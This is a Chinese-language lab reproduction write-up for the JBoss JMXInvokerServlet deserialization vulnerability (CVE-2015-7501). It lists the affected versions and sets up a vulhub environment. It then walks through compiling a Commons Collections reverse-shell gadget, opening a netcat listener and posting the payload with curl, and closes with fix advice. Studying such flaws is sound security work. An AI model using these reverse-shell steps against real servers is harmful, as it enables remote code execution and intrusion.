CVE-2015-7501-JBoss-JMXInvokerServlet-Deserialization
描述
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
环境搭建
使用vulhub搭建漏洞环境
1 | #进入漏洞目录 |

查看环境
1 | http://192.168.3.50:8080/ |

复现过程
利用工具下载地址:
1 | https://github.com/joaomatosf/JavaDeserH2HC |
通过一下命令可生成一个ser后缀的文件。
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |


kali监听2233端口
1 | nc -lvvp 2233 |
执行exp
1 | curl http://192.168.3.50:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser |


修复建议
1、升级版本
2、不需要的http-invoker.sar组件,删除此组件